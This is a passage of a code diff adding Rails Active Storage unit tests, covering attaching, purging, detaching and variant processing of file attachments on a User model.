+      assert_equal "racecar.jpg", user.reload.highlights.first.filename.to_s
+      assert_equal "video.mp4", user.highlights.second.filename.to_s
+      assert ActiveStorage::Blob.service.exist?(user.highlights.first.key)
+      assert ActiveStorage::Blob.service.exist?(user.highlights.second.key)
+    end
+  end
+
+  test "creating a record with existing blobs attached" do
+    user = User.create!(name: "Jason", highlights: [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ])
+    assert_equal "funky.jpg", user.reload.highlights.first.filename.to_s
+    assert_equal "town.jpg", user.reload.highlights.second.filename.to_s
+  end
+
+  test "creating a record with an existing blob from signed IDs attached" do
+    user = User.create!(name: "Jason", highlights: [
+      create_blob(filename: "funky.jpg").signed_id, create_blob(filename: "town.jpg").signed_id ])
+    assert_equal "funky.jpg", user.reload.highlights.first.filename.to_s
+    assert_equal "town.jpg", user.reload.highlights.second.filename.to_s
+  end
+
+  test "creating a record with new blobs from uploaded files attached" do
+    User.new(name: "Jason", highlights: [ fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4") ]).tap do |user|
+      assert_predicate user, :new_record?
+      assert_predicate user.highlights.first, :new_record?
+      assert_predicate user.highlights.second, :new_record?
+      assert_predicate user.highlights.first.blob, :new_record?
+      assert_predicate user.highlights.second.blob, :new_record?
+      assert_equal "racecar.jpg", user.highlights.first.filename.to_s
+      assert_equal "video.mp4", user.highlights.second.filename.to_s
+      assert_not ActiveStorage::Blob.service.exist?(user.highlights.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(user.highlights.second.key)
+
+      user.save!
+      assert_equal "racecar.jpg", user.highlights.first.filename.to_s
+      assert_equal "video.mp4", user.highlights.second.filename.to_s
+    end
+  end
+
+  test "creating a record with an unexpected object attached" do
+    error = assert_raises(ArgumentError) { User.create!(name: "Jason", highlights: :foo) }
+    assert_equal "Could not find or build blob: expected attachable, got :foo", error.message
+  end
+
+  test "detaching" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      @user.highlights.attach blobs
+      assert_predicate @user.highlights, :attached?
+
+      perform_enqueued_jobs do
+        @user.highlights.detach
+      end
+
+      assert_not @user.highlights.attached?
+      assert ActiveStorage::Blob.exists?(blobs.first.id)
+      assert ActiveStorage::Blob.exists?(blobs.second.id)
+      assert ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert ActiveStorage::Blob.service.exist?(blobs.second.key)
+    end
+  end
+
+  test "detaching when record is not persisted" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      user = User.new
+      user.highlights.attach blobs
+      assert_predicate user.highlights, :attached?
+
+      perform_enqueued_jobs do
+        user.highlights.detach
+      end
+
+      assert_not user.highlights.attached?
+      assert ActiveStorage::Blob.exists?(blobs.first.id)
+      assert ActiveStorage::Blob.exists?(blobs.second.id)
+      assert ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert ActiveStorage::Blob.service.exist?(blobs.second.key)
+    end
+  end
+
+  test "purging" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      @user.highlights.attach blobs
+      assert_predicate @user.highlights, :attached?
+
+      assert_changes -> { @user.updated_at } do
+        @user.highlights.purge
+      end
+      assert_not @user.highlights.attached?
+      assert_not ActiveStorage::Blob.exists?(blobs.first.id)
+      assert_not ActiveStorage::Blob.exists?(blobs.second.id)
+      assert_not ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(blobs.second.key)
+    end
+  end
+
+  test "purging attachment with shared blobs" do
+    [
+      create_blob(filename: "funky.jpg"),
+      create_blob(filename: "town.jpg"),
+      create_blob(filename: "worm.jpg")
+    ].tap do |blobs|
+      @user.highlights.attach blobs
+      assert_predicate @user.highlights, :attached?
+
+      another_user = User.create!(name: "John")
+      shared_blobs = [blobs.second, blobs.third]
+      another_user.highlights.attach shared_blobs
+      assert_predicate another_user.highlights, :attached?
+
+      @user.highlights.purge
+      assert_not @user.highlights.attached?
+
+      assert_not ActiveStorage::Blob.exists?(blobs.first.id)
+      assert ActiveStorage::Blob.exists?(blobs.second.id)
+      assert ActiveStorage::Blob.exists?(blobs.third.id)
+
+      assert_not ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert ActiveStorage::Blob.service.exist?(blobs.second.key)
+      assert ActiveStorage::Blob.service.exist?(blobs.third.key)
+    end
+  end
+
+  test "purging when record is not persisted" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      user = User.new
+      user.highlights.attach blobs
+      assert_predicate user.highlights, :attached?
+
+      attachments = user.highlights.attachments
+      user.highlights.purge
+
+      assert_not user.highlights.attached?
+      assert attachments.all?(&:destroyed?)
+      blobs.each do |blob|
+        assert_not ActiveStorage::Blob.exists?(blob.id)
+        assert_not ActiveStorage::Blob.service.exist?(blob.key)
+      end
+    end
+  end
+
+  test "purging delete changes when record is not persisted" do
+    user = User.new
+    user.highlights = []
+
+    user.highlights.purge
+
+    assert_nil user.attachment_changes["highlights"]
+  end
+
+  test "purging later" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      @user.highlights.attach blobs
+      assert_predicate @user.highlights, :attached?
+
+      perform_enqueued_jobs do
+        assert_changes -> { @user.updated_at } do
+          @user.highlights.purge_later
+        end
+      end
+
+      assert_not @user.highlights.attached?
+      assert_not ActiveStorage::Blob.exists?(blobs.first.id)
+      assert_not ActiveStorage::Blob.exists?(blobs.second.id)
+      assert_not ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(blobs.second.key)
+    end
+  end
+
+  test "purging attachment later with shared blobs" do
+    [
+      create_blob(filename: "funky.jpg"),
+      create_blob(filename: "town.jpg"),
+      create_blob(filename: "worm.jpg")
+    ].tap do |blobs|
+      @user.highlights.attach blobs
+      assert_predicate @user.highlights, :attached?
+
+      another_user = User.create!(name: "John")
+      shared_blobs = [blobs.second, blobs.third]
+      another_user.highlights.attach shared_blobs
+      assert_predicate another_user.highlights, :attached?
+
+      perform_enqueued_jobs do
+        @user.highlights.purge_later
+      end
+
+      assert_not @user.highlights.attached?
+      assert_not ActiveStorage::Blob.exists?(blobs.first.id)
+      assert ActiveStorage::Blob.exists?(blobs.second.id)
+      assert ActiveStorage::Blob.exists?(blobs.third.id)
+
+      assert_not ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert ActiveStorage::Blob.service.exist?(blobs.second.key)
+      assert ActiveStorage::Blob.service.exist?(blobs.third.key)
+    end
+  end
+
+  test "purging attachment later when record is not persisted" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      user = User.new
+      user.highlights.attach blobs
+      assert_predicate user.highlights, :attached?
+
+      perform_enqueued_jobs do
+        user.highlights.purge_later
+      end
+
+      assert_not user.highlights.attached?
+      blobs.each do |blob|
+        assert_not ActiveStorage::Blob.exists?(blob.id)
+        assert_not ActiveStorage::Blob.service.exist?(blob.key)
+      end
+    end
+  end
+
+  test "purging dependent attachment later on destroy" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      @user.highlights.attach blobs
+
+      perform_enqueued_jobs do
+        @user.destroy!
+      end
+
+      assert_not ActiveStorage::Blob.exists?(blobs.first.id)
+      assert_not ActiveStorage::Blob.exists?(blobs.second.id)
+      assert_not ActiveStorage::Blob.service.exist?(blobs.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(blobs.second.key)
+    end
+  end
+
+  test "not purging independent attachment on destroy" do
+    [ create_blob(filename: "funky.mp4"), create_blob(filename: "town.mp4") ].tap do |blobs|
+      @user.vlogs.attach blobs
+
+      assert_no_enqueued_jobs do
+        @user.destroy!
+      end
+    end
+  end
+
+  test "duped record does not share attachments" do
+    @user.highlights.attach [ create_blob(filename: "funky.jpg") ]
+
+    assert_not_equal @user.highlights.first, @user.dup.highlights.first
+  end
+
+  test "duped record does not share attachment changes" do
+    @user.highlights.attach [ create_blob(filename: "funky.jpg") ]
+    assert_not_predicate @user, :changed_for_autosave?
+
+    @user.dup.highlights.attach [ create_blob(filename: "town.mp4") ]
+    assert_not_predicate @user, :changed_for_autosave?
+  end
+
+  test "clearing change on reload" do
+    @user.highlights = [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ]
+    assert_predicate @user.highlights, :attached?
+
+    @user.reload
+    assert_not @user.highlights.attached?
+  end
+
+  test "overriding attached reader" do
+    @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+
+    begin
+      User.class_eval do
+        def highlights
+          super.reverse
+        end
+      end
+
+      assert_equal "town.jpg", @user.highlights.first.filename.to_s
+      assert_equal "funky.jpg", @user.highlights.second.filename.to_s
+    ensure
+      User.remove_method :highlights
+    end
+  end
+
+  test "attaching a new blob from a Hash with a custom service" do
+    with_service("mirror") do
+      @user.highlights.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+      @user.vlogs.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+
+      assert_instance_of ActiveStorage::Service::MirrorService, @user.highlights.first.service
+      assert_instance_of ActiveStorage::Service::DiskService, @user.vlogs.first.service
+    end
+  end
+
+  test "attaching a new blob from an uploaded file with a custom service" do
+    with_service("mirror") do
+      @user.highlights.attach fixture_file_upload("racecar.jpg")
+      @user.vlogs.attach fixture_file_upload("racecar.jpg")
+
+      assert_instance_of ActiveStorage::Service::MirrorService, @user.highlights.first.service
+      assert_instance_of ActiveStorage::Service::DiskService, @user.vlogs.first.service
+    end
+  end
+
+  test "attaching a new blob from an uploaded file with a service defined at runtime" do
+    extra_attached = Class.new(User) do
+      def self.name; superclass.name; end
+
+      has_many_attached :signatures, service: ->(user) { "disk_#{user.mirror_region}" }
+
+      def mirror_region
+        :mirror_2
+      end
+    end
+
+    @user = @user.becomes(extra_attached)
+
+    @user.signatures.attach fixture_file_upload("cropped.pdf")
+    assert_equal :disk_mirror_2, @user.signatures.first.service.name
+  end
+
+  test "attaching blobs to a persisted, unchanged, and valid record, returns the attachments" do
+    @user.highlights.attach create_blob(filename: "racecar.jpg")
+    return_value = @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+    assert_equal @user.highlights, return_value
+  end
+
+  test "attaching blobs to a persisted, unchanged, and invalid record, returns nil" do
+    @user.update_attribute(:name, nil)
+    assert_not @user.valid?
+
+    @user.highlights.attach create_blob(filename: "racecar.jpg")
+    return_value = @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+    assert_nil return_value
+  end
+
+  test "attaching blobs to a changed record, returns the attachments" do
+    @user.name = "Tina"
+    @user.highlights.attach create_blob(filename: "racecar.jpg")
+    return_value = @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+    assert_equal @user.highlights, return_value
+  end
+
+  test "attaching blobs to a non persisted record, returns the attachments" do
+    user = User.new(name: "John")
+    user.highlights.attach create_blob(filename: "racecar.jpg")
+    return_value = user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+    assert_equal user.highlights, return_value
+  end
+
+  test "raises error when global service configuration is missing" do
+    Rails.configuration.active_storage.stub(:service, nil) do
+      error = assert_raises RuntimeError do
+        User.class_eval do
+          has_many_attached :featured_photos
+        end
+      end
+
+      assert_match(/Missing Active Storage service name. Specify Active Storage service name for config.active_storage.service in config\/environments\/test.rb/, error.message)
+    end
+  end
+
+  test "raises error when misconfigured service is passed" do
+    error = assert_raises ArgumentError do
+      User.class_eval do
+        has_many_attached :featured_photos, service: :unknown
+      end
+    end
+
+    assert_match(/Cannot configure service :unknown for User#featured_photos/, error.message)
+  end
+
+  test "raises error when misconfigured service is defined at runtime" do
+    extra_attached = Class.new(User) do
+      def self.name; superclass.name; end
+
+      has_many_attached :featured_vlogs, service: ->(*) { :unknown }
+    end
+
+    @user = @user.becomes(extra_attached)
+
+    assert_raises match: /Cannot configure service :unknown for .+#featured_vlog/ do
+      @user.featured_vlogs.attach fixture_file_upload("video.mp4")
+    end
+  end
+
+  test "creating variation by variation name" do
+    assert_no_enqueued_jobs only: ActiveStorage::TransformJob do
+      @user.highlights_with_variants.attach fixture_file_upload("racecar.jpg")
+    end
+    variant = @user.highlights_with_variants.first.variant(:thumb).processed
+
+    image = read_image(variant)
+    assert_equal "JPEG", image.type
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "raises error when unknown variant name is used to generate variant" do
+    @user.highlights_with_variants.attach fixture_file_upload("racecar.jpg")
+
+    error = assert_raises ArgumentError do
+      @user.highlights_with_variants.first.variant(:unknown).processed
+    end
+
+    assert_match(/Cannot find variant :unknown for User#highlights_with_variants/, error.message)
+  end
+
+  test "creating preview by variation name" do
+    @user.highlights_with_variants.attach fixture_file_upload("report.pdf")
+    preview = @user.highlights_with_variants.first.preview(:thumb).processed
+
+    image = read_image(preview.send(:variant))
+    assert_equal "PNG", image.type
+    assert_equal 77, image.width
+    assert_equal 100, image.height
+  end
+
+  test "raises error when unknown variant name is used to generate preview" do
+    @user.highlights_with_variants.attach fixture_file_upload("report.pdf")
+
+    error = assert_raises ArgumentError do
+      @user.highlights_with_variants.first.preview(:unknown).processed
+    end
+
+    assert_match(/Cannot find variant :unknown for User#highlights_with_variants/, error.message)
+  end
+
+  test "creating representation by variation name" do
+    @user.highlights_with_variants.attach fixture_file_upload("racecar.jpg")
+    variant = @user.highlights_with_variants.first.representation(:thumb).processed
+
+    image = read_image(variant)
+    assert_equal "JPEG", image.type
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "raises error when unknown variant name is used to generate representation" do
+    @user.highlights_with_variants.attach fixture_file_upload("racecar.jpg")
+
+    error = assert_raises ArgumentError do
+      @user.highlights_with_variants.first.representation(:unknown).processed
+    end
+
+    assert_match(/Cannot find variant :unknown for User#highlights_with_variants/, error.message)
+  end
+
+  test "successfully attaches new blobs and destroys attachments marked for destruction via nested attributes" do
+    town_blob = create_blob(filename: "town.jpg")
+    @user.highlights.attach(town_blob)
+    @user.reload
+
+    racecar_blob = fixture_file_upload("racecar.jpg")
+    attachment_id = town_blob.attachments.find_by!(record: @user).id
+    @user.update(
+      highlights: [racecar_blob],
+      highlights_attachments_attributes: [{ id: attachment_id, _destroy: true }]
+    )
+
+    assert_predicate @user.reload.highlights, :attached?
+    assert_equal 1, @user.highlights.count
+    assert_equal "racecar.jpg", @user.highlights.blobs.first.filename.to_s
+  end
+end
diff --git a/activestorage/test/models/attached/one_test.rb b/activestorage/test/models/attached/one_test.rb
new file mode 100644
index 0000000000000..a625c7faf33a2
--- /dev/null
+++ b/activestorage/test/models/attached/one_test.rb
@@ -0,0 +1,860 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "active_support/testing/method_call_assertions"
+
+class ActiveStorage::OneAttachedTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  setup do
+    @user = User.create!(name: "Josh")
+  end
+
+  teardown do
+    ActiveStorage::Blob.all.each(&:delete)
+  end
+
+  test "creating a record with a File as attachable attribute" do
+    @user = User.create!(name: "Dorian", avatar: file_fixture("image.gif").open)
+
+    assert_equal "image.gif", @user.avatar.filename.to_s
+    assert_not_nil @user.avatar_attachment
+    assert_not_nil @user.avatar_blob
+  end
+
+  test "uploads the file when passing a File as attachable attribute" do
+    @user = User.create!(name: "Dorian", avatar: file_fixture("image.gif").open)
+    assert_nothing_raised { @user.avatar.download }
+  end
+
+  test "creating a record with a Pathname as attachable attribute" do
+    @user = User.create!(name: "Dorian", avatar: file_fixture("image.gif"))
+
+    assert_equal "image.gif", @user.avatar.filename.to_s
+    assert_not_nil @user.avatar_attachment
+    assert_not_nil @user.avatar_blob
+  end
+
+  test "uploads the file when passing a Pathname as attachable attribute" do
+    @user = User.create!(name: "Dorian", avatar: file_fixture("image.gif"))
+    assert_nothing_raised { @user.avatar.download }
+  end
+
+  test "attaching an existing blob to an existing record" do
+    @user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+
+    assert_not_nil @user.avatar_attachment
+    assert_not_nil @user.avatar_blob
+  end
+
+  test "attaching an existing blob from a signed ID to an existing record" do
+    @user.avatar.attach create_blob(filename: "funky.jpg").signed_id
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+  end
+
+  test "attaching an existing blob from a signed ID passes record" do
+    blob = create_blob(filename: "funky.jpg")
+
+    assert_called_with(ActiveStorage::Blob, :find_signed!, [blob.signed_id], returns: blob, record: @user) do
+      @user.avatar.attach blob.signed_id
+    end
+  end
+
+  test "attaching a new blob from a Hash to an existing record" do
+    @user.avatar.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+    assert_equal "town.jpg", @user.avatar.filename.to_s
+  end
+
+  test "attaching a new blob from a Hash to an existing record passes record" do
+    hash = { io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg" }
+    blob = ActiveStorage::Blob.build_after_unfurling(**hash)
+    arguments = hash.merge(record: @user, service_name: nil)
+    assert_called_with(ActiveStorage::Blob, :build_after_unfurling, [], **arguments, returns: blob) do
+      @user.avatar.attach hash
+    end
+  end
+
+  test "attaching a new blob from an uploaded file to an existing record" do
+    @user.avatar.attach fixture_file_upload("racecar.jpg")
+    assert_equal "racecar.jpg", @user.avatar.filename.to_s
+  end
+
+  test "attaching StringIO attachable to an existing record" do
+    upload = Rack::Test::UploadedFile.new StringIO.new(""), original_filename: "test.txt"
+
+    @user.avatar.attach upload
+
+    assert_not_nil @user.avatar_attachment
+    assert_not_nil @user.avatar_blob
+  end
+
+  test "attaching a new blob from an uploaded file to an existing record passes record" do
+    upload = fixture_file_upload("racecar.jpg")
+    def upload.open
+      @io ||= StringIO.new("")
+    end
+    arguments = { io: upload.open, filename: upload.original_filename, content_type: upload.content_type, record: @user, service_name: nil }
+    blob = ActiveStorage::Blob.build_after_unfurling(**arguments)
+    assert_called_with(ActiveStorage::Blob, :build_after_unfurling, [], returns: blob, **arguments) do
+      @user.avatar.attach upload
+    end
+  end
+
+  test "attaching a blob to a persisted, unchanged, and valid record, returns the attachment" do
+    return_value = @user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_equal @user.avatar, return_value
+  end
+
+  test "attaching a blob to a persisted, unchanged, and invalid record, returns nil" do
+    @user.update_attribute(:name, nil)
+    assert_not @user.valid?
+
+    return_value = @user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_nil return_value
+  end
+
+  test "attaching a blob to a changed record, returns the attachment" do
+    @user.name = "Tina"
+    return_value = @user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_equal @user.avatar, return_value
+  end
+
+  test "attaching a blob to a non persisted record, returns the attachment" do
+    user = User.new(name: "John")
+    return_value = user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_equal user.avatar, return_value
+  end
+
+  test "attaching an existing blob to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+    assert_not @user.avatar.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "funky.jpg", @user.reload.avatar.filename.to_s
+  end
+
+  test "attaching an existing blob from a signed ID to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.avatar.attach create_blob(filename: "funky.jpg").signed_id
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+    assert_not @user.avatar.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "funky.jpg", @user.reload.avatar.filename.to_s
+  end
+
+  test "attaching a new blob from a Hash to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.avatar.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+    assert_equal "town.jpg", @user.avatar.filename.to_s
+    assert_not @user.avatar.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "town.jpg", @user.reload.avatar.filename.to_s
+  end
+
+  test "attaching a new blob from an uploaded file to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.avatar.attach fixture_file_upload("racecar.jpg")
+    assert_equal "racecar.jpg", @user.avatar.filename.to_s
+    assert_not @user.avatar.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "racecar.jpg", @user.reload.avatar.filename.to_s
+  end
+
+  test "updating an existing record to attach an existing blob" do
+    @user.update! avatar: create_blob(filename: "funky.jpg")
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+  end
+
+  test "updating an existing record to attach an existing blob from a signed ID" do
+    @user.update! avatar: create_blob(filename: "funky.jpg").signed_id
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+  end
+
+  test "successfully updating an existing record to attach a new blob from an uploaded file" do
+    @user.avatar = fixture_file_upload("racecar.jpg")
+    assert_equal "racecar.jpg", @user.avatar.filename.to_s
+    assert_not ActiveStorage::Blob.service.exist?(@user.avatar.key)
+
+    @user.save!
+    assert ActiveStorage::Blob.service.exist?(@user.avatar.key)
+  end
+
+  test "unsuccessfully updating an existing record to attach a new blob from an uploaded file" do
+    assert_not @user.update(name: "", avatar: fixture_file_upload("racecar.jpg"))
+    assert_equal "racecar.jpg", @user.avatar.filename.to_s
+    assert_not ActiveStorage::Blob.service.exist?(@user.avatar.key)
+  end
+
+  test "successfully replacing an existing, dependent attachment on an existing record" do
+    create_blob(filename: "funky.jpg").tap do |old_blob|
+      @user.avatar.attach old_blob
+
+      perform_enqueued_jobs do
+        @user.avatar.attach create_blob(filename: "town.jpg")
+      end
+
+      assert_equal "town.jpg", @user.avatar.filename.to_s
+      assert_not ActiveStorage::Blob.exists?(old_blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(old_blob.key)
+    end
+  end
+
+  test "replacing an existing, independent attachment on an existing record" do
+    @user.cover_photo.attach create_blob(filename: "funky.jpg")
+
+    assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+      @user.cover_photo.attach create_blob(filename: "town.jpg")
+    end
+
+    assert_equal "town.jpg", @user.cover_photo.filename.to_s
+  end
+
+  test "replacing an attached blob on an existing record with itself" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+
+      assert_no_changes -> { @user.reload.avatar_attachment.id } do
+        assert_no_enqueued_jobs do
+          @user.avatar.attach blob
+        end
+      end
+
+      assert_equal "funky.jpg", @user.avatar.filename.to_s
+      assert ActiveStorage::Blob.service.exist?(@user.avatar.key)
+    end
+  end
+
+  test "successfully updating an existing record to replace an existing, dependent attachment" do
+    create_blob(filename: "funky.jpg").tap do |old_blob|
+      @user.avatar.attach old_blob
+
+      perform_enqueued_jobs do
+        @user.update! avatar: create_blob(filename: "town.jpg")
+      end
+
+      assert_equal "town.jpg", @user.avatar.filename.to_s
+      assert_not ActiveStorage::Blob.exists?(old_blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(old_blob.key)
+    end
+  end
+
+  test "successfully updating an existing record to replace an existing, independent attachment" do
+    @user.cover_photo.attach create_blob(filename: "funky.jpg")
+
+    assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+      @user.update! cover_photo: create_blob(filename: "town.jpg")
+    end
+
+    assert_equal "town.jpg", @user.cover_photo.filename.to_s
+  end
+
+  test "unsuccessfully updating an existing record to replace an existing attachment" do
+    @user.avatar.attach create_blob(filename: "funky.jpg")
+
+    assert_no_enqueued_jobs do
+      assert_not @user.update(name: "", avatar: fixture_file_upload("racecar.jpg"))
+    end
+
+    assert_equal "racecar.jpg", @user.avatar.filename.to_s
+    assert_not ActiveStorage::Blob.service.exist?(@user.avatar.key)
+  end
+
+  test "updating an existing record to replace an attached blob with itself" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+
+      assert_no_enqueued_jobs do
+        assert_no_changes -> { @user.reload.avatar_attachment.id } do
+          @user.update! avatar: blob
+        end
+      end
+    end
+  end
+
+  test "removing a dependent attachment from an existing record" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+
+      assert_enqueued_with job: ActiveStorage::PurgeJob, args: [ blob ] do
+        @user.avatar.attach nil
+      end
+
+      assert_not @user.avatar.attached?
+    end
+  end
+
+  test "removing an independent attachment from an existing record" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.cover_photo.attach blob
+
+      assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+        @user.cover_photo.attach nil
+      end
+
+      assert_not @user.cover_photo.attached?
+    end
+  end
+
+  test "updating an existing record to nil to remove a dependent attachment" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+
+      assert_enqueued_with job: ActiveStorage::PurgeJob, args: [ blob ] do
+        @user.update! avatar: nil
+      end
+
+      assert_not @user.avatar.attached?
+    end
+  end
+
+  test "updating an existing record to an empty string to remove a dependent attachment" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+
+      assert_enqueued_with job: ActiveStorage::PurgeJob, args: [ blob ] do
+        @user.update! avatar: ""
+      end
+
+      assert_not @user.avatar.attached?
+    end
+  end
+
+  test "updating an existing record to nil to remove an independent attachment" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.cover_photo.attach blob
+
+      assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+        @user.update! cover_photo: nil
+      end
+
+      assert_not @user.cover_photo.attached?
+    end
+  end
+
+  test "updating an existing record to an empty string to remove an independent attachment" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.cover_photo.attach blob
+
+      assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+        @user.update! cover_photo: ""
+      end
+
+      assert_not @user.cover_photo.attached?
+    end
+  end
+
+  test "analyzing a new blob from an uploaded file after attaching it to an existing record" do
+    perform_enqueued_jobs do
+      @user.avatar.attach fixture_file_upload("racecar.jpg")
+    end
+
+    assert_predicate @user.avatar.reload, :analyzed?
+    assert_equal 4104, @user.avatar.metadata[:width]
+    assert_equal 2736, @user.avatar.metadata[:height]
+  end
+
+  test "analyzing a new blob from an uploaded file after attaching it to an existing record via update" do
+    perform_enqueued_jobs do
+      @user.update! avatar: fixture_file_upload("racecar.jpg")
+    end
+
+    assert_predicate @user.avatar.reload, :analyzed?
+    assert_equal 4104, @user.avatar.metadata[:width]
+    assert_equal 2736, @user.avatar.metadata[:height]
+  end
+
+  test "analyzing a directly-uploaded blob after attaching it to an existing record" do
+    perform_enqueued_jobs do
+      @user.avatar.attach directly_upload_file_blob(filename: "racecar.jpg")
+    end
+
+    assert_predicate @user.avatar.reload, :analyzed?
+    assert_equal 4104, @user.avatar.metadata[:width]
+    assert_equal 2736, @user.avatar.metadata[:height]
+  end
+
+  test "analyzing a directly-uploaded blob after attaching it to an existing record via updates" do
+    perform_enqueued_jobs do
+      @user.update! avatar: directly_upload_file_blob(filename: "racecar.jpg")
+    end
+
+    assert_predicate @user.avatar.reload, :analyzed?
+    assert_equal 4104, @user.avatar.metadata[:width]
+    assert_equal 2736, @user.avatar.metadata[:height]
+  end
+
+  test "creating an attachment as part of an autosave association through nested attributes" do
+    group = Group.create!(users_attributes: [{ name: "John", avatar: { io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg" } }])
+    group.save!
+    new_user = User.find_by(name: "John")
+    assert_predicate new_user.avatar, :attached?
+  end
+
+  test "updating an attachment as part of an autosave association" do
+    group = Group.create!(users: [@user])
+    @user.avatar = fixture_file_upload("racecar.jpg")
+    group.save!
+    @user.reload
+    assert_predicate @user.avatar, :attached?
+  end
+
+  test "attaching an existing blob to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.avatar.attach create_blob(filename: "funky.jpg")
+      assert_predicate user, :new_record?
+      assert_equal "funky.jpg", user.avatar.filename.to_s
+
+      user.save!
+      assert_equal "funky.jpg", user.reload.avatar.filename.to_s
+    end
+  end
+
+  test "attaching an existing blob from a signed ID to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.avatar.attach create_blob(filename: "funky.jpg").signed_id
+      assert_predicate user, :new_record?
+      assert_equal "funky.jpg", user.avatar.filename.to_s
+
+      user.save!
+      assert_equal "funky.jpg", user.reload.avatar.filename.to_s
+    end
+  end
+
+  test "attaching a new blob from a Hash to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.avatar.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+      assert_predicate user, :new_record?
+      assert_predicate user.avatar.attachment, :new_record?
+      assert_predicate user.avatar.blob, :new_record?
+      assert_equal "town.jpg", user.avatar.filename.to_s
+      assert_not ActiveStorage::Blob.service.exist?(user.avatar.key)
+
+      user.save!
+      assert_predicate user.avatar.attachment, :persisted?
+      assert_predicate user.avatar.blob, :persisted?
+      assert_equal "town.jpg", user.reload.avatar.filename.to_s
+      assert ActiveStorage::Blob.service.exist?(user.avatar.key)
+    end
+  end
+
+  test "attaching a new blob from an uploaded file to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.avatar.attach fixture_file_upload("racecar.jpg")
+      assert_predicate user, :new_record?
+      assert_predicate user.avatar.attachment, :new_record?
+      assert_predicate user.avatar.blob, :new_record?
